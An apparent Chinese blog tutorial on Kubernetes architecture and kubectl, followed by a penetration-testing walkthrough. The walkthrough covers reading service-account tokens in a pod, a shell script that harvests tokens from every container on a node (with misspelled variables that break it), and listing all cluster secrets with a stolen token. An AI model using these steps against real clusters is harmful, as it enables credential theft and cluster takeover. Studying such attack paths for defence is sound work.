k8s云安全

k8s云安全

1.k8s架构

​ 做k8s横向移动首先我们需要搞懂k8s的基础架构。

image-20250521220221524

Kubernetes(k8s)的基础架构是一个分布式系统,由控制平面(Master节点)和工作节点(Node节点)组成,各组件协同工作以实现容器化应用的自动化部署、扩展和管理。以下是其核心架构的详细说明:


1. 控制平面(Control Plane / Master 节点)

主节点可以理解为一台实际运行的主机,具有集群中最高的控制权限。

负责集群的全局决策和资源调度,通常包含以下组件:

1.1 API Server(kube-apiserver)

  • 作用:集群的前端接口,处理所有REST请求(如kubectl命令),验证并更新集群状态到etcd
  • 特点:唯一直接与etcd交互的组件,支持水平扩展。

1.2 Scheduler(kube-scheduler)

  • 作用:将新创建的Pod调度到合适的Node上,基于资源需求(CPU/内存)、亲和性规则、数据位置等策略。
  • 流程:监听API Server的未调度Pod,选择最优节点。

1.3 Controller Manager(kube-controller-manager)

  • 作用:运行多种控制器,确保集群状态符合用户声明的期望值。常见控制器包括:
    • 节点控制器(Node Controller):监控节点状态(如心跳检测)。
    • 副本控制器(Replication Controller):维护Pod副本数(如Deployment)。
    • 端点控制器(Endpoints Controller):关联Service与Pod。
    • 服务账户和令牌控制器:管理Service Account访问权限。

1.4 etcd

  • 作用:分布式键值存储数据库,保存集群的所有配置和状态数据(如Pod、Service、Secret等)。
  • 特点:高可用性需通过多节点部署保障,是集群的“唯一真实来源”(Single Source of Truth)。

2. 工作节点(Worker Nodes)

节点可以理解成一台实际运行的主机,主机中包含各个组件和容器运行时,容器运行时里包含各个运行的pod。

image-20250521220404888

负责运行容器化应用,包含以下核心组件:

2.1 Kubelet

  • 作用:节点代理,与API Server通信,管理本节点的Pod生命周期(如启动/停止容器),报告节点状态。
  • 职责:确保Pod中的容器按预期运行,挂载存储卷,执行健康检查等。

2.2 Kube-Proxy

  • 作用:维护节点的网络规则(如iptables/IPVS),实现Service的负载均衡和流量路由。
  • 功能:将Service的虚拟IP映射到后端Pod,支持ClusterIP、NodePort等类型。

2.3 容器运行时(Container Runtime)

  • 作用:实际运行容器的引擎,如Docker、containerd、CRI-O等。
  • 标准:遵循Kubernetes CRI(Container Runtime Interface)规范。

3. 核心概念与附加组件

3.1 Pod

  • pod是容器的抽象。

  • 最小部署单元,包含一个或多个共享网络/存储的容器,是调度的基本单位。

3.2 Service 和 Ingress

  • Service:定义一组Pod的访问策略(如ClusterIP、NodePort、LoadBalancer)。
  • Ingress:通过HTTP/HTTPS路由外部流量到Service,需配合Ingress控制器(如Nginx、Traefik)。

3.3 网络模型

  • CNI(Container Network Interface)插件:如Calico、Flannel,负责Pod跨节点通信和网络策略。
  • Pod网络:每个Pod拥有唯一IP,可直接跨节点通信。

3.4 存储管理

  • Persistent Volume(PV):集群级别的存储资源。
  • Persistent Volume Claim(PVC):用户对存储资源的请求。

3.5 扩展组件

  • CoreDNS:集群内部DNS服务,解析Service名称。
  • Dashboard:Web管理界面。
  • Metrics Server:收集资源指标,支持HPA(Horizontal Pod Autoscaler)。

3.6 安全性

  • RBAC(基于角色的访问控制):限制用户/服务的权限。
  • Secrets/ConfigMaps:管理敏感数据和配置。

4. 用户交互方式

  • kubectl:命令行工具,通过API Server操作集群。
  • 声明式配置:YAML/JSON文件定义资源(如Deployment、Service),由Kubernetes确保实际状态匹配期望状态。

架构图示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
+-----------------------+
| 控制平面 |
| +------------------+ |
| | API Server | |
| +------------------+ |
| | Scheduler | |
| +------------------+ |
| | Controller Manager| |
| +------------------+ |
| | etcd | |
| +------------------+ |
+-----------------------+
|
| 通信(REST/API)
v
+-----------------------+
| 工作节点 |
| +------------------+ |
| | Kubelet | |
| +------------------+ |
| | Kube-Proxy | |
| +------------------+ |
| | 容器运行时(Docker) | |
| +------------------+ |
+-----------------------+

2.kubectl常用命令

以下是 kubectl 的常用命令,涵盖集群管理、资源操作、调试和配置等功能。掌握这些命令可以高效操作 Kubernetes 集群。


一、基础命令

命令 作用 示例
kubectl get 查看资源列表 kubectl get pods(查看所有 Pod)
kubectl get nodes(查看节点)
kubectl get svc(查看 Service)
kubectl describe 查看资源详情 kubectl describe pod <pod-name>(显示 Pod 详细信息)
kubectl create 通过文件或命令行创建资源 kubectl create -f deployment.yaml(从 YAML 创建)
kubectl create namespace test(创建命名空间)
kubectl apply 声明式更新资源(推荐) kubectl apply -f deployment.yaml
kubectl delete 删除资源 kubectl delete pod <pod-name>
kubectl delete -f deployment.yaml
kubectl edit 直接编辑资源配置 kubectl edit deployment/my-app

二、调试与日志

命令 作用 示例
kubectl logs 查看容器日志 kubectl logs <pod-name>
kubectl logs -f <pod-name>(实时日志)
kubectl logs <pod-name> -c <container-name>(多容器 Pod)
kubectl exec 进入容器执行命令 kubectl exec -it <pod-name> -- /bin/bash(进入容器终端)
kubectl port-forward 端口转发到本地 kubectl port-forward pod/<pod-name> 8080:80(将 Pod 的 80 端口转发到本地 8080)
kubectl top 查看资源使用率 kubectl top nodes(节点资源)
kubectl top pods(Pod 资源)

三、部署与扩缩容

命令 作用 示例
kubectl rollout 管理部署的滚动更新 kubectl rollout status deployment/my-app(查看状态)
kubectl rollout undo deployment/my-app(回滚版本)
kubectl scale 扩缩容副本数 kubectl scale deployment/my-app --replicas=3(设置副本数为 3)
kubectl autoscale 自动扩缩容(HPA) kubectl autoscale deployment/my-app --min=2 --max=5 --cpu-percent=80

四、配置与上下文管理

命令 作用 示例
kubectl config 管理 kubeconfig 配置 kubectl config view(查看配置)
kubectl config use-context <context-name>(切换集群/命名空间)
kubectl cp 复制文件到容器或从容器复制 kubectl cp /local/file <pod-name>:/container/path(复制到容器)
kubectl label 给资源打标签 kubectl label pod <pod-name> env=prod
kubectl annotate 给资源添加注解 kubectl annotate pod <pod-name> description="test"

五、高级操作

命令 作用 示例
kubectl api-resources 查看所有 API 资源类型 kubectl api-resources
kubectl explain 查看资源字段说明 kubectl explain pod.spec.containers
kubectl patch 直接修改资源字段 kubectl patch deployment/my-app -p '{"spec":{"replicas":2}}'
kubectl replace 替换资源配置 kubectl replace -f deployment.yaml
kubectl proxy 启动 API Server 代理 kubectl proxy --port=8080(通过 localhost:8080 访问 API)

六、常用组合命令

  1. 快速清理命名空间

    1
    kubectl delete all --all -n <namespace>  # 删除命名空间下所有资源
  2. 强制删除卡在 Terminating 的 Pod

    1
    kubectl delete pod <pod-name> --grace-period=0 --force
  3. 查看 Pod 的事件和状态

    1
    kubectl get events --sort-by='.metadata.creationTimestamp'  # 按时间排序事件
  4. 导出资源配置到文件

    1
    kubectl get deployment/my-app -o yaml > deployment.yaml
  5. 查看 Service 的 Endpoints

    1
    kubectl get endpoints <service-name>

七、实用技巧

  1. 别名简化命令

    1
    2
    alias k="kubectl"
    alias kgp="kubectl get pods"
  2. 自动补全

    1
    2
    3
    4
    5
    6
    # Bash 用户
    source <(kubectl completion bash)
    echo "source <(kubectl completion bash)" >> ~/.bashrc

    # Zsh 用户
    source <(kubectl completion zsh)
  3. **使用 -o wide-o yaml/json**:

    1
    2
    kubectl get pods -o wide     # 显示更多列(如 IP、节点)
    kubectl get pod <name> -o yaml > pod.yaml # 导出 YAML

3.k8s横向移动

​ 在k8s横向移动中通常场景

  • 拿到了某一个工作节点种的pod的权限,然后看当前pod的容器是否能够支持容器逃逸,如果不支持,那只能通过10.x网段横向移动到其他pod,看其他pod能否进行逃逸,直到找到一个能够逃逸到宿主机,也就是工作节点的pod,然后通过子节点去执行kubectl或者docker命令,去进入到其他的pod内部执行命令查看其是否有高权限token。然后利用这个高权限token,去获取整个容器的控制权。

一阶段 进入pod

  • 假设我们通过漏洞获取了Pod一个容器的shell,那么我们如何通过我们当前的shell环境判断当前是否属于pod环境呢?
  1. Kubernetes 会在 Pod 中挂载 Service Account 和默认配置文件
1
2
3
4
5
6
# 检查 Service Account 相关文件是否存在
ls /var/run/secrets/kubernetes.io/serviceaccount/
# 应包含以下文件:
# - ca.crt 集群 CA 证书
# - namespace 当前 Pod 的命名空间
# - token Service Account 的访问令牌
  1. Kubernetes 会为 Pod 注入特定的环境变量
1
2
3
4
5
6
7
8
# 查看是否包含 Kubernetes 服务相关的环境变量
echo $KUBERNETES_SERVICE_HOST # 输出应为 Kubernetes API Server 的 IP
echo $KUBERNETES_SERVICE_PORT # 输出应为 443 或其他 API Server 端口

# 检查 Pod 名称和命名空间
echo $HOSTNAME # 输出应为 Pod 名称(如 "webapp-5dfd6f7b6d-abcde")
echo $POD_NAME # 部分环境中可能设置此变量
echo $POD_NAMESPACE # Pod 所属的命名空间
  1. 如果 Pod 具有访问 API Server 的权限(默认允许),可直接调用 Kubernetes API
1
2
3
4
5
6
7
8
# 使用 Service Account 的 token 访问 API
APISERVER="https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# 查询当前 Pod 的信息
curl -sSk -H "Authorization: Bearer $TOKEN" "$APISERVER/api/v1/namespaces/$NAMESPACE/pods/$HOSTNAME"
# 若返回 JSON 格式的 Pod 详细信息,则确认在 Pod 中

二阶段 逃逸到子节点

关于docker逃逸技术,已经在上一篇的内容中进行了讲解了

通过容器逃逸技术加横向渗透技术逃逸到了某个工作子节点

如何判断当前环境是否为节点环境

每一个节点都有自己的conf文件,运维人员就是通过这个conf文件来管理节点中的pod。

文件位置默认在/etc/kubernetes/kubelet.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apiVersion: v1
clusters:
- cluster:
certificate-authority: /etc/kubernetes/pki/ca.crt # 集群的 CA 证书路径
server: https://<API-SERVER-IP>:6443 # API Server 地址
name: default-cluster # 集群名称
contexts:
- context:
cluster: default-cluster
user: default-auth # 关联的用户
name: default-context # 上下文名称
current-context: default-context # 当前使用的上下文
kind: Config
preferences: {}
users:
- name: default-auth # 用户名称(通常是 kubelet)
user:
client-certificate: /var/lib/kubelet/pki/kubelet.crt # kubelet 客户端证书
client-key: /var/lib/kubelet/pki/kubelet.key # kubelet 私钥

或者尝试使用kubectl执行命令。

  • 寻找高权限token

逃逸到子节点后你默认就拥有了子节点下所有Pod的进入权限。

你可以依次进入每个pod中,从中依次访问/var/run/secrets/kubernetes.io/serviceaccount/token文件,获取文件中的token,如果其中存在高权限的token,那么就能进行进一步的渗透。

我们可以利用docker命令进入pod也可以利用kubectl命令进入pod。

也可以编写shell脚本获取token。

1
2
3
4
5
6
7
8
9
10
11
12
# 提取token
docker ps -q | while read -r container_id; do
echo "=== 容器 ID: $contaoner_id==="
token=$(docker exec "$contaoner_id" cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
if [$? -eq 0]; then
echo "Token 内容:"
echo "$token"
else
echo "错误:无法获取 Token 或文件不存在"
fi
echo -e "\n-------------------------------"
done
  • 如何权限测试

在此之前如何获得apisever的地址呢?

1
2
3
# 通过运行的进程查看目标接口的地址
netstat -anlp | grep apiserver
netstat -anlp | grep 6443

三阶段 获取高权限服务账户

如果获得了token那么可以使用以下命令测试能否获得Secret 资源列表。

1
kubectl --insecure-skip-tls-verify=true --server="http://[apisever:6443]" --token="eyj....." get secrets --all-namespaces

此命令会返回 Kubernetes 集群中所有命名空间下的 Secret 资源列表,包括以下字段:

  1. NAMESPACE:Secret 所属的命名空间。
  2. NAME:Secret 的名称。
  3. TYPE:Secret 的类型(如 Opaquekubernetes.io/tls 等)。
  4. DATA:Secret 中存储的键值对数量(显示为键的数量,如 2)。
  5. AGE:Secret 的创建时间。

Secrets/ConfigMaps:管理敏感数据和配置的组件,就和nacos差不多。

如果能获取到大量数据说明就已经基本和master节点权限一致,那么后续就可以利用这个token去上线pod了、控制master。

总结

其实k8s渗透的思路很明确,基本上是首先上线pod,然后通过横向移动和docker逃逸技术到子节点上,然后利用节点具有管理其下所有pod的权限的机制,获取pod中可能具有的高权限token,然后利用此token来执行kubectl控制整个集群服务。